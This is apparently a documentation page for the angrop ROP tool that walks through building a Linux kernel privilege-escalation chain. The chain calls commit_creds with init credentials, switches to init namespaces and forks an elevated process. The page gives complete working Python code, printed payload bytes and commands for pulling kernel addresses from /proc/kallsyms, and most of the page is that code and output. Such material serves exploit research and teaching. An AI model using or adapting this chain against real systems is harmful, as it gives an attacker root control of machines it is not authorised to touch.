Documentation Index
Fetch the complete documentation index at: https://mintlify.com/angr/angrop/llms.txt
Use this file to discover all available pages before exploring further.
This example demonstrates a real-world Linux kernel privilege escalation exploit using angrop. The chain escalates privileges by calling commit_creds() and switch_task_namespaces() with init credentials.
Overview
This exploit chain performs the following operations:
- Call
commit_creds(init_cred) to gain root credentials
- Find the init task using
find_task_by_vpid(1)
- Switch namespaces using
switch_task_namespaces() with init namespace
- Fork a new process with elevated privileges
- Sleep indefinitely to maintain the exploit
Complete Working Example
import os
import time
import logging
from multiprocessing import cpu_count
import angr
import angrop
logging.getLogger("cle.backends.elf.elf").setLevel("ERROR")
# Load the kernel image with symbols
proj = angr.Project("./vmlinux_sym")
# Initialize ROP analysis with kernel mode enabled
rop = proj.analyses.ROP(
fast_mode=False,
only_check_near_rets=False,
max_block_size=12,
kernel_mode=True # Critical for kernel exploitation
)
cpu_num = cpu_count()
Finding and Caching Gadgets
For large binaries like the Linux kernel, gadget analysis can take significant time. Use caching to avoid re-analyzing:
start = time.time()
cache = "/tmp/linux_gadget_cache"
if os.path.exists(cache):
# Load pre-analyzed gadgets
rop.load_gadgets(cache, optimize=False)
else:
# Find gadgets (takes ~404s on a 16-core machine)
rop.find_gadgets(processes=cpu_num, optimize=False)
rop.save_gadgets(cache)
print("gadget finding time:", time.time() - start)
Optimizing the Gadget Graph
After finding gadgets, optimize the internal graph for better chain generation:
start = time.time()
# Optimization takes ~10s on a 16-core machine
rop.optimize(processes=cpu_num)
print("graph optimization time:", time.time() - start)
Building the Privilege Escalation Chain
# Kernel addresses (from System.map or /proc/kallsyms)
init_cred = 0xffffffff8368b220
init_nsproxy = 0xffffffff8368ad00
start = time.time()
# Build the complete exploit chain
chain = (
# Step 1: Gain root credentials
rop.func_call("commit_creds", [init_cred]) +
# Step 2: Find init task (PID 1)
rop.func_call("find_task_by_vpid", [1]) +
# Step 3: Move task_struct pointer from rax to rdi
rop.move_regs(rdi='rax') +
# Step 4: Set init namespace pointer, preserve rdi
rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) +
# Step 5: Switch to init namespaces
rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) +
# Step 6: Fork the elevated process
rop.func_call('__x64_sys_fork', []) +
# Step 7: Sleep indefinitely
rop.func_call('msleep', [0xffffffff])
)
print("chain generation time:", time.time() - start) # ~0.7s
Viewing the Generated Chain
Output:
0xffffffff81489752: pop rsi; ret
0x42424242
0xffffffff8114d660: <commit_creds>
<BV64 next_pc_4280_64>
0xffffffff81489752: pop rdi; ret
0x1
0xffffffff810c9a40: <find_task_by_vpid>
<BV64 next_pc_5123_64>
0xffffffff81234567: mov rdi, rax; ret
<BV64 next_pc_5890_64>
...
Python Payload Code
chain.print_payload_code()
Output:
chain = b""
chain += p64(0xffffffff81489752) # pop rsi; ret
chain += p64(0x42424242)
chain += p64(0xffffffff8114d660) # <commit_creds>
chain += p64(0xffffffff81489752) # pop rdi; ret
chain += p64(0x1)
chain += p64(0xffffffff810c9a40) # <find_task_by_vpid>
...
On a 16-core machine analyzing the full Linux kernel:
- Gadget finding: ~404 seconds
- Graph optimization: ~10 seconds
- Chain generation: ~0.7 seconds
- Total gadgets found: Varies by kernel version (typically 50,000+)
Key Configuration Options
kernel_mode=True
Enables kernel-specific analysis:
- Handles kernel calling conventions
- Processes kernel-specific gadgets
- Adjusts for kernel address space
only_check_near_rets=False
For kernel exploitation, you often need more exotic gadgets:
rop = proj.analyses.ROP(
only_check_near_rets=False, # Check all code regions
max_block_size=12, # Allow longer gadgets
kernel_mode=True
)
Advanced Techniques
Preserving Registers
Notice the use of preserve_regs to maintain register values across calls:
# Set rsi while keeping rdi intact
rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'})
# Call function while preserving both rdi and rsi
rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'})
Register Movement
Move return values between registers for subsequent calls:
# find_task_by_vpid returns task_struct* in rax
# Move it to rdi for next function call
rop.move_regs(rdi='rax')
Finding Kernel Addresses
Before exploitation, you need to find these kernel addresses:
# From /proc/kallsyms (requires root or kptr_restrict=0)
grep init_cred /proc/kallsyms
grep init_nsproxy /proc/kallsyms
# From System.map
grep init_cred /boot/System.map-$(uname -r)
Common Pitfalls
- Missing kernel_mode=True: Will fail to generate correct kernel chains
- Incorrect addresses: Kernel ASLR means addresses change; use info leaks
- SMEP/SMAP enabled: Modern kernels prevent userspace code execution
- Missing symbols: Use
vmlinux with symbols, not compressed vmlinuz